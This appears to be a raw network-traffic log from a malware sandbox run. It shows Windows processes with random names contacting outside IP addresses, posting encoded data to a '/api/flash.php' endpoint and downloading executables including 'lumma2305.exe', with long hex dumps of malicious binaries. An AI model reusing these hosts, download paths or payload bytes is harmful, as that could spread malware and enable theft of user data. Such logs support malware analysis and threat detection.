May 24, 2024 13:42:35.674138069 CEST	1236	IN	Data Raw: 56 8b cf c7 05 e8 3d 47 00 84 df 41 00 e8 0b 1b 00 00 68 de b2 41 00 e8 f2 39 00 00 59 5f 5e c3 b9 91 3d 47 00 e9 ee 12 00 00 b9 90 3d 47 00 e8 52 29 00 00 68 e8 b2 41 00 e8 d0 39 00 00 59 c3 b9 58 3e 47 00 e8 3c 29 00 00 68 f2 b2 41 00 e8 ba 39 Data Ascii: V=GAhA9Y_^=G=GR)hA9YX>G<)hA9YhA9YhA9Y?G)hA9YhA9Yj RA6]3EuB~YM@t D$;\|;v;\|;v+WfEEuE
May 24, 2024 13:42:35.674410105 CEST	1236	IN	Data Raw: 59 80 7e 0d 00 74 de 5f 5e c2 08 00 56 8b 74 24 0c 8d 4e 14 e8 c4 06 00 00 6a 2c 56 e8 d7 31 00 00 59 59 5e c3 51 53 8b d9 ba ff ff ff 7f 8b 4c 24 0c 8b c2 55 8b 6b 10 2b c5 3b c1 72 70 8b 43 14 56 57 52 8d 3c 29 89 44 24 1c 50 57 e8 d9 04 00 00 Data Ascii: Y~t_^Vt$Nj,V1YY^QSL$Uk+;rpCVWR<)D$PWNQ{\|$L$D$st$$t$$Uv3VPGPV9YYSPD$_^][YPVt$W\|$WVt$+t$_^VWt$3ff
May 24, 2024 13:42:35.674422026 CEST	1236	IN	Data Raw: 2d 00 00 59 59 8b c6 5e c2 04 00 56 8b f1 8d 46 04 c7 06 c8 d1 41 00 50 e8 25 3e 00 00 f6 44 24 0c 01 59 74 0a 6a 0c 56 e8 f7 2c 00 00 59 59 8b c6 5e c2 04 00 8b 44 24 08 8b 4c 24 04 83 00 23 8b 01 8b 50 fc 2b c2 83 c0 fc 83 f8 1f 77 03 89 11 c3 Data Ascii: -YY^VFAP%>D$YtjV,YY^D$L$#P+wtUMV;MwuE+;w2;BE^]Q?+V+;w;D$BD$^V>tF+P6.YYL$D$FD$F^U/
May 24, 2024 13:42:35.674432993 CEST	1236	IN	Data Raw: 11 8d 42 01 89 01 88 1a eb 08 8b 01 56 ff 50 0c 8b f0 8b c6 5e 5b c2 04 00 83 79 04 00 b8 d0 d1 41 00 0f 45 41 04 c3 83 61 04 00 8b c1 83 61 08 00 c7 41 04 34 d3 41 00 c7 01 e8 d1 41 00 c3 55 8b ec 56 ff 75 08 8b f1 e8 8b f8 ff ff c7 06 54 d3 41 Data Ascii: BVP^[yAEAaaA4AAUVuTA^]UQVuuTA^UVuQHA^]UQVuu[(A^UVFAP8EYtjVy'YY^]UMuih
May 24, 2024 13:42:35.675158024 CEST	1236	IN	Data Raw: 54 08 3c 8b c7 5f 5e c3 6a 04 b8 a2 b0 41 00 e8 a7 23 00 00 8b f1 89 75 f0 33 db 53 e8 42 16 00 00 89 5d fc 89 5e 04 88 5e 08 89 5e 0c 88 5e 10 33 c0 89 5e 14 66 89 46 18 89 5e 1c 66 89 46 20 89 5e 24 88 5e 28 89 5e 2c 88 5e 30 c6 45 fc 06 39 45 Data Ascii: T<_^jA#u3SB]^^^^3^fF^fF ^$^(^,^0E9EtuVYY1#hAUVuA^]aaAAA3$AAAAAAAA A$A(A,A0UESVWx{p@A
May 24, 2024 13:42:35.675169945 CEST	931	IN	Data Raw: 00 00 50 56 a1 00 2f 47 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 83 65 fc 00 56 c7 06 24 df 41 00 e8 66 18 00 00 f6 45 08 01 59 74 0a 6a 38 56 e8 72 1e 00 00 59 59 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e c9 c2 04 00 cc cc cc cc cc 55 8b ec Data Ascii: PV/G3PEdeV$AfEYtj8VrYYMdY^UMvB=>Bt9S]VuCW}FG;v;wQVPW_^[]ItAuAAAQvRPPQAH#U(/G3ES
May 24, 2024 13:42:35.675657034 CEST	1236	IN	Data Raw: f6 89 32 89 30 89 77 04 89 33 5f 89 31 5e 5b c3 6a 00 b8 36 b0 41 00 e8 28 1b 00 00 8b f1 33 db c7 46 14 01 02 00 00 53 53 89 5e 30 89 5e 08 89 5e 10 c7 46 18 06 00 00 00 89 5e 1c 89 5e 20 89 5e 24 89 5e 28 89 5e 2c e8 50 f0 ff ff 6a 08 e8 81 1a Data Ascii: 20w3_1^[j6A(3FSS^0^^F^^ ^$^(^,PjYtj]jYG~0UVW}%tf8~83_^]yLtqLrdYUE9EtQvPuRQ]AQvPRPQ
May 24, 2024 13:42:35.675668955 CEST	1236	IN	Data Raw: 85 c9 74 29 8b 46 0c 39 08 73 22 83 fb ff 74 08 0f b6 41 ff 3b c3 75 15 8b 46 2c ff 00 8b 46 1c ff 08 8d 43 01 f7 d8 1b c0 23 c3 eb 40 83 7e 4c 00 74 37 83 fb ff 74 32 83 7e 38 00 75 17 ff 76 4c 0f b6 cb 51 e8 89 74 00 00 59 59 83 f8 ff 74 04 8b Data Ascii: t)F9s"tA;uF,FC#@~Lt7t2~8uvLQtYYtFN<9t^[]UQSW_;_s$VsVSWw^v?EDuuj_[UQQSVWWG<9u}u8uu]]uLt
May 24, 2024 13:42:35.675678968 CEST	1236	IN	Data Raw: ff 3b d8 74 14 8b 07 53 8b 70 10 8b ce ff 15 40 d1 41 00 8b cf ff d6 8b c3 5e 5b 5f c3 83 c8 ff c3 6a 08 b8 d2 b1 41 00 e8 6f 11 00 00 ff 71 30 8d 4d ec e8 7d ee ff ff 83 65 fc 00 8d 45 ec 50 e8 9b eb ff ff 8b f8 59 ff 75 08 8b 0f 8b 71 20 8b ce Data Ascii: ;tSp@A^[_jAoq0M}eEPYuq @AMUQESW}\|u33{8tPWuCVt;C,Et/;r}PQuME+EC,)CEE
May 24, 2024 13:42:35.679562092 CEST	1100	IN	Data Raw: 04 01 00 00 00 c7 06 f4 e0 41 00 89 56 08 89 56 0c 89 56 10 88 46 14 89 11 88 51 04 e8 8a 00 00 00 8b c6 5e c9 c2 04 00 56 57 8b 79 04 8b 07 8b 70 08 8b ce ff 15 40 d1 41 00 8b cf ff d6 8b f8 85 ff 74 12 8b 0f 6a 01 8b 31 8b ce ff 15 40 d1 41 00 Data Ascii: AVVVFQ^VWyp@Atj1@A_^VD?GjVYY5D?Gu^VVAQ~YtvkYfA^USW}9;t>;t3jY#t*?VtF>u+FVkYtVWP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49834	85.192.56.26	80	2084	C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:38.086508989 CEST	207	OUT	GET /api/bing_release.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 85.192.56.26
May 24, 2024 13:42:38.792649031 CEST	261	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 68 61 72 72 79 33 31 33 Data Ascii: harry313
May 24, 2024 13:42:39.008569956 CEST	261	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 68 61 72 72 79 33 31 33 Data Ascii: harry313
May 24, 2024 13:42:43.409656048 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 133 Host: 85.192.56.26
May 24, 2024 13:42:43.409656048 CEST	133	OUT	Data Raw: 64 61 74 61 3d 31 6a 46 50 58 2d 73 41 46 61 68 36 44 53 69 46 79 30 79 44 36 50 47 71 6f 5a 54 32 49 41 68 30 31 76 4f 46 72 30 42 49 7a 56 47 32 54 76 49 74 46 55 4f 68 56 34 45 4c 56 63 4a 67 75 78 45 4f 62 43 6a 53 66 67 77 67 49 76 66 75 38 Data Ascii: data=1jFPX-sAFah6DSiFy0yD6PGqoZT2IAh01vOFr0BIzVG2TvItFUOhV4ELVcJguxEObCjSfgwgIvfu8Tpm9PTse0TRsx5eX13M4j3bRuCIt8MMRSvvZDuDCOfe2bwUxYPf
May 24, 2024 13:42:43.988673925 CEST	362	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 6d 77 4f 76 6c 2f 49 6e 4d 66 45 33 31 54 58 72 34 7a 74 66 50 71 51 38 49 49 6d 66 55 2b 75 47 53 72 63 61 51 44 53 5a 6e 5a 72 50 43 63 76 6a 76 59 75 71 43 4f 57 35 48 46 36 38 56 75 79 57 34 4c 4a 6e 2b 52 47 44 44 46 6c 69 6e 71 6a 4d 48 70 31 78 75 36 57 33 4b 44 45 39 2f 58 65 42 76 73 55 47 36 65 4d 77 48 6e 6b 3d Data Ascii: mwOvl/InMfE31TXr4ztfPqQ8IImfU+uGSrcaQDSZnZrPCcvjvYuqCOW5HF68VuyW4LJn+RGDDFlinqjMHp1xu6W3KDE9/XeBvsUG6eMwHnk=
May 24, 2024 13:42:44.185852051 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 113 Host: 85.192.56.26
May 24, 2024 13:42:44.185852051 CEST	113	OUT	Data Raw: 64 61 74 61 3d 50 6a 4b 43 50 32 49 6a 58 70 70 34 51 56 6e 55 76 31 65 69 6c 67 55 31 73 76 7a 79 56 4c 63 32 45 4b 68 55 4a 51 78 31 50 42 61 31 65 34 4b 6b 66 69 78 36 50 38 6a 6b 64 6f 51 7a 6b 78 52 6d 36 56 31 5f 56 61 43 4b 66 79 39 33 4a Data Ascii: data=PjKCP2IjXpp4QVnUv1eilgU1svzyVLc2EKhUJQx1PBa1e4Kkfix6P8jkdoQzkxRm6V1_VaCKfy93JQ_jIviscux1D4hBc6OgtobOH78VuXs=
May 24, 2024 13:42:44.610845089 CEST	382	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 128 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 68 63 53 4a 4c 77 4d 6d 35 5a 30 55 50 7a 58 68 64 61 38 69 48 2f 6a 74 5a 54 38 4e 37 52 77 4c 33 4a 4a 51 62 72 57 73 44 6d 58 37 47 36 35 35 58 48 56 57 74 34 4d 53 33 76 62 39 38 57 43 57 42 6b 6e 74 45 49 48 51 4e 30 4b 6f 4a 4c 56 6e 70 42 70 58 34 4b 49 5a 64 30 51 46 59 4a 43 34 4c 4c 47 39 30 6c 63 41 44 47 65 54 6a 30 32 31 58 77 78 2b 2b 32 4a 62 62 67 6f 36 58 49 4d 6b Data Ascii: hcSJLwMm5Z0UPzXhda8iH/jtZT8N7RwL3JJQbrWsDmX7G655XHVWt4MS3vb98WCWBkntEIHQN0KoJLVnpBpX4KIZd0QFYJC4LLG90lcADGeTj021Xwx++2Jbbgo6XIMk
May 24, 2024 13:42:44.725953102 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 133 Host: 85.192.56.26
May 24, 2024 13:42:44.726116896 CEST	133	OUT	Data Raw: 64 61 74 61 3d 32 45 5a 5a 43 4e 41 33 41 38 49 37 79 78 61 74 62 30 4c 49 4c 6e 56 78 4d 55 50 62 4e 36 72 36 6c 74 77 59 44 56 70 61 32 54 56 47 55 4d 66 67 78 41 4d 55 37 4c 67 79 71 38 52 68 4d 6a 2d 66 65 50 30 48 79 37 32 63 61 34 63 36 4c Data Ascii: data=2EZZCNA3A8I7yxatb0LILnVxMUPbN6r6ltwYDVpa2TVGUMfgxAMU7Lgyq8RhMj-feP0Hy72ca4c6LFQWoy3e7UV_FDrmzkG3FgAzJph7alOXAIq2YTHbrq42iX8ATizw
May 24, 2024 13:42:45.123560905 CEST	362	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 55 72 6c 56 75 4c 41 2b 77 55 64 41 77 48 70 6a 2f 46 44 42 63 48 6b 73 5a 68 68 33 67 63 69 78 49 52 56 74 6d 72 34 58 77 51 71 5a 35 30 75 70 6b 75 74 35 50 47 72 2f 71 49 54 55 54 70 31 36 55 76 56 63 35 6f 6f 74 4a 64 55 48 4a 42 30 67 62 44 70 30 59 7a 4d 42 74 74 6f 32 66 4f 62 6b 50 66 69 59 2b 6f 68 4a 39 49 30 3d Data Ascii: UrlVuLA+wUdAwHpj/FDBcHksZhh3gcixIRVtmr4XwQqZ50upkut5PGr/qITUTp16UvVc5ootJdUHJB0gbDp0YzMBtto2fObkPfiY+ohJ9I0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49852	5.42.66.10	80	5344	C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:43.197134972 CEST	234	OUT	HEAD /download/th/Retailer_prog.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:43.866455078 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 24 May 2024 07:46:49 GMT ETag: "492c98-6192e5ecbac95" Accept-Ranges: bytes Content-Length: 4795544 Content-Type: application/x-msdownload
May 24, 2024 13:42:43.866879940 CEST	233	OUT	GET /download/th/Retailer_prog.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:44.098941088 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 24 May 2024 07:46:49 GMT ETag: "492c98-6192e5ecbac95" Accept-Ranges: bytes Content-Length: 4795544 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 92 10 00 00 00 00 00 15 33 53 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 7c 00 00 04 00 00 69 0c 4a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 91 4c 00 40 01 00 00 00 b0 6f 00 f6 2d 0d 00 00 00 00 00 00 00 00 00 00 b8 48 00 98 74 00 00 00 a0 6f 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 fe 33 00 20 00 00 00 b0 8d 6f 00 40 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiLf'3S@\|iJ@tL@o-Hto3 o@ U(#D@.text `.rdata2~@@.data0IP@.vmpx``.vmpu> 1v>``.relocoz>@@.rsrc-o8>@@
May 24, 2024 13:42:44.098962069 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 a8 c8 38 7f e0 25 83 64 95 3b d1 48 1d 6a 34 5a 1c Data Ascii: ""8%d;Hj4ZLjsE@NOfqT?nGc\1r}^]ETLkDdA,HY@}+Sa?:`tt]7&'[U$*bmW_+Zd^]5P8zO19DAQ{eT@_iO:
May 24, 2024 13:42:44.099028111 CEST	1236	IN	Data Raw: 28 8f 54 7a 4e b6 27 8d 1e 86 6c ba 0d 67 5a 62 39 0d 69 87 52 e6 1a 69 1f 0e 5c 1f 2f f7 21 f3 76 1c 19 7c 0f 79 59 dd 37 9f 1f 84 37 a3 37 64 3b 32 70 81 71 8e 5f 3b 7e 49 51 d0 00 f3 2a db 48 17 47 dd 2c 37 01 1b 32 af 42 4f 78 a4 1f 00 30 69 Data Ascii: (TzN'lgZb9iRi\/!v\|yY777d;2pq_;~IQHG,72BOx0iLX6-/&f:IzfB3`TY_c'<3/X;3Jc36fEf;fD%;;3
May 24, 2024 13:42:44.099142075 CEST	1236	IN	Data Raw: bf 84 1e 0c 8f 83 69 31 a2 e5 df a7 92 e2 a8 1d c3 eb 31 8b f3 ec 46 28 66 88 d8 be 56 8f af 04 07 86 36 92 37 81 41 03 2a 3e d1 95 1a 39 a6 2f 4b 30 3f b9 7b 37 48 1a ee 53 d6 8c de 54 a1 36 8f 5d 38 a0 bf 5a 4f 55 b2 52 c2 c3 82 55 b5 79 d3 5c Data Ascii: i11F(fV67A>9/K0?{7HST6]8ZOURUy\,[[Lv?F8`1+'6\g:K["kU~R%RiWPEY\|^p:7=\f4{V3[K{wrBnu!a'8vfF?[;k<:5o
May 24, 2024 13:42:44.099159002 CEST	1236	IN	Data Raw: fb e9 a2 fe 1e 00 f7 d0 e9 13 d4 1e 00 03 fa e9 d4 02 3e 00 49 81 c1 04 00 00 00 44 33 c3 f8 f5 41 81 c0 25 3f 24 45 f8 41 f7 d0 f5 e9 b8 d6 11 00 d1 c8 e9 66 af 3c 00 f8 85 e9 8d bf 04 00 00 00 e9 aa 5e 1c 00 41 0f cd e9 50 37 1e 00 f5 f9 81 c1 Data Ascii: >ID3A%?$EAf<^AP7o2E3fKL%9EfFhGfMfD%*`hf<B<fffMD%fW3A3
May 24, 2024 13:42:44.102447033 CEST	32	IN	Data Raw: c7 ad 8f 87 3f 95 36 c8 f5 da 44 01 6f 96 e1 04 9d b2 7c 96 bf 0c 01 98 78 2b b7 44 f1 80 d1 55 Data Ascii: ?6Do\|x+DU
May 24, 2024 13:42:44.210794926 CEST	1236	IN	Data Raw: c5 28 a5 3c 97 2c 17 ab f8 9d 2c ac 4c 52 01 6f 96 18 20 25 57 83 8f 08 60 1d 5b 0f 2a 05 a7 48 0b c2 75 38 9f fd ba aa ff 12 ba 6d 01 33 db 56 2f e7 c4 c5 a1 60 ed 6d 16 0f cb fb 48 80 5c 60 c3 28 1f 03 f7 20 60 d1 d3 51 a2 ef 99 00 bc ff 5d a4 Data Ascii: (<,,LRo %W`[Hu8m3V/`mH\`( `Q]{pt\|$AhbI6)log=K{TMQ=yEm.wWFh@x\+>(>=!!r.3?o&tFHx4peZr
May 24, 2024 13:42:44.210834980 CEST	1236	IN	Data Raw: 9c 0f b7 d4 8f 44 25 00 8d b6 fc ff ff ff d2 e6 0f 42 d5 8b 16 3a eb 33 d3 e9 d6 76 3a 00 8b 0e 3b c3 33 cb e9 f0 83 3c 00 41 66 f7 c5 d0 50 0f c9 f9 81 fe 50 27 e1 5c 81 f1 4b 2c 23 36 33 d9 f6 c6 69 03 f1 e9 13 55 12 00 8d b6 ff ff ff ff 66 0b Data Ascii: D%B:3v:;3<AfPP'\K,#63iUf2Jf;ffO]3W2f-_o3f=e\fA0;-\|P3D%Mf##E
May 24, 2024 13:42:44.211280107 CEST	1236	IN	Data Raw: 56 2a 42 41 7b 51 d2 ec aa 1e 64 40 17 0b d6 24 fb 86 03 0f fc 97 07 c1 c4 fb 49 fc d1 bb 57 60 75 09 3c e2 a8 84 08 5c 1f 57 1f bb ba 3a 03 1e c6 dd 83 03 36 f0 0e 99 83 16 c9 6e 6a fc 2d 55 3a 7d 7c 0d f1 c7 63 7c c9 bf 9b 91 03 ab d0 6c 91 03 Data Ascii: V*BA{Qd@$IW`u<\W:6nj-U:}\|c\|l`y\|C&V%`MS$2fHfff%Com2bfVf"fWf53SCfffPI0xtUD%
May 24, 2024 13:42:44.211726904 CEST	1236	IN	Data Raw: 8c 1f 46 1b 33 9d 25 21 70 40 f6 19 ae 15 bb 0d e6 5c d9 11 0a e6 d9 ed 5a f0 19 7d 97 e9 e1 19 bc 77 3b 37 66 f1 eb a5 f2 99 bc b3 b5 f3 99 6c 49 d6 15 66 7f a6 c2 1d 66 fc 7c 78 e9 99 2f de 8c 15 e6 22 33 77 ee 19 d9 17 dd e9 19 f6 5b 96 13 e6 Data Ascii: F3%!p@\Z}w;7flIff\|x/"3w[%Htif:{RFY,Ekvfcf9j?F\|^FL[FUs CFicF[\QvE>'+oFM^SFQ&5[FkzF@2{ff
May 24, 2024 13:42:44.211796045 CEST	1236	IN	Data Raw: 46 e0 83 c3 6e 46 c2 a4 69 d8 e4 da 91 fd 19 3a d6 da 07 e6 a4 14 69 16 e6 1f fc bb c0 99 d9 88 25 05 66 bc 08 35 04 66 d6 b2 56 e2 99 46 ed 42 ea 99 97 3f f8 1e 66 2c 8d 0c e2 19 53 e8 f7 19 e6 23 84 5d 1e e6 06 10 16 e4 19 22 c2 a5 f5 19 09 1a Data Ascii: FnFi:i%f5fVFB?f,S#]"w#f&Qvfb9z1CYN8SNfw[9RF]UJF@ljFkUk7fFV}ZF+[ORF5vsFec~@FXsEg\|(F=c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49863	5.42.65.116	80	5344	C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:52.997399092 CEST	219	OUT	HEAD /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 13:42:53.687604904 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 11:42:53 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 13:42:53.688126087 CEST	218	OUT	GET /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 13:42:53.931689024 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 11:42:53 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 13:42:53.932735920 CEST	1236	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$I/\|\|\|}\|}\|}\|}\|\|V\|l}\|l}\|l}@\|o}\|o}\|Rich\|PE
May 24, 2024 13:42:53.932753086 CEST	1236	IN	Data Raw: af 41 00 e8 d1 36 00 00 8b 5d 08 33 ff 8b c7 89 45 e8 ff 75 0c e8 42 7e 00 00 59 8b c8 89 4d e4 8b 03 8b 40 04 8b 74 18 20 8b 44 18 24 3b c7 7c 16 7f 0e 3b f7 76 10 3b c7 7c 0c 7f 04 3b f1 76 06 2b f1 1b c7 eb 0e 0f 57 c0 66 0f 13 45 dc 8b 45 e0 Data Ascii: A6]3EuB~YM@t D$;\|;v;\|;v+WfEEuESM(}uj^}AD%@t<E;\|3;v-HD@PL8tsuEEEAL8WuuP$;EuE;uAE;\|3;v-H
May 24, 2024 13:42:53.934885979 CEST	128	IN	Data Raw: 03 00 00 8b 44 24 10 5f 5e 89 03 8b c3 5d 5b 59 c2 10 00 e8 50 06 00 00 cc 56 8b 74 24 0c 57 8b 7c 24 14 57 56 ff 74 24 14 e8 e1 fd ff ff 2b 74 24 18 83 c4 0c c1 fe 02 8d 04 b7 5f 5e c3 56 57 ff 74 24 0c 8b f1 33 c0 8b fe ab ab ab ab 83 66 10 00 Data Ascii: D$_^][YPVt$W\|$WVt$+t$_^VWt$3ff_^VW3D$ffx
May 24, 2024 13:42:53.934901953 CEST	1236	IN	Data Raw: 76 02 8b 08 ff 70 10 51 8b ce e8 18 fd ff ff 5f 8b c6 5e c2 04 00 56 57 ff 74 24 0c 8b f1 33 c0 8b fe ab ab ab ab 83 66 10 00 83 66 14 00 e8 d5 78 00 00 59 50 ff 74 24 10 8b ce e8 76 fc ff ff 5f 8b c6 5e c2 04 00 56 57 ff 74 24 10 8b f1 33 c0 ff Data Ascii: vpQ_^VWt$3ffxYPt$v_^VWt$3t$ffN_^T$V@L8tP^U/G3EEVP1uEuP$PIMMUNM4A3V^/
May 24, 2024 13:42:53.937094927 CEST	224	IN	Data Raw: 5f 8b 4d 10 8d 55 e4 ff 75 0c 52 8b 01 ff 50 08 83 7d f8 0f 8d 45 e4 ff 75 f4 0f 47 45 e4 8d 4d 14 50 e8 21 01 00 00 8d 4d e4 e8 bf 00 00 00 8d 45 14 8b ce 50 e8 b0 fa ff ff 8d 4d 14 e8 ac 00 00 00 8b 4d fc 8b c6 33 cd 5e e8 c8 2b 00 00 c9 c3 6a Data Ascii: _MUuRP}EuGEMP!MEPMM3^+jAT,eH\|1u*D1t#L18P4uHjAPM+@Vt$jVQ6fF^UMh
May 24, 2024 13:42:53.937110901 CEST	1236	IN	Data Raw: 8c 4e 42 00 8d 45 f4 50 e8 59 3c 00 00 cc 56 8b f1 8b 46 14 83 f8 0f 76 0b 40 50 ff 36 e8 db f7 ff ff 59 59 83 66 10 00 c7 46 14 0f 00 00 00 c6 06 00 5e c3 68 14 d2 41 00 e8 7b 03 00 00 cc 68 24 d3 41 00 e8 70 03 00 00 cc 8b 44 24 04 3d ff ff ff Data Ascii: NBEPY<VFv@P6YYfF^hA{h$ApD$=?wP@YUS]WGO+;w*GvVSu4V^SuEuS_[]UEAIV#tD}uCtAA
May 24, 2024 13:42:53.937125921 CEST	1236	IN	Data Raw: 44 0f 01 00 50 56 e8 1e f3 ff ff 8b 75 fc 83 c4 14 eb 18 8b 75 fc 53 56 e8 73 31 00 00 8a 45 10 83 c4 0c 88 04 37 c6 44 37 01 00 8b cb 89 33 e8 2f 08 00 00 5f 5e 8b c3 5b c9 c2 0c 00 e8 1e fb ff ff cc 6a 08 b8 db af 41 00 e8 45 26 00 00 6a 00 8d Data Ascii: DPVuuSVs1E7D73/_^[jAE&jM5P>G@>Geu3MPuCt;uEPYYt8}}WECYp@A=P>GM%jA%jMN5L>G
May 24, 2024 13:42:53.941454887 CEST	1236	IN	Data Raw: 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 56 e8 7f 17 00 00 83 7e 2c 00 59 74 09 ff 76 2c e8 72 80 00 00 59 33 ff 89 7e 2c 39 7e 24 74 09 ff 76 24 e8 5f 80 00 00 59 89 7e 24 39 7e 1c 74 09 ff 76 1c e8 4e 80 00 00 59 89 7e 1c 39 7e 14 74 09 ff Data Ascii: 3PEdV~,Ytv,rY3~,9~$tv$_Y~$9~tvNY~9~tv=Y~9~tv,Y~9~tvY~:MdY_^Wyt+Vp@Atj1@A^_UQV>u$jM>u ?G@ ?
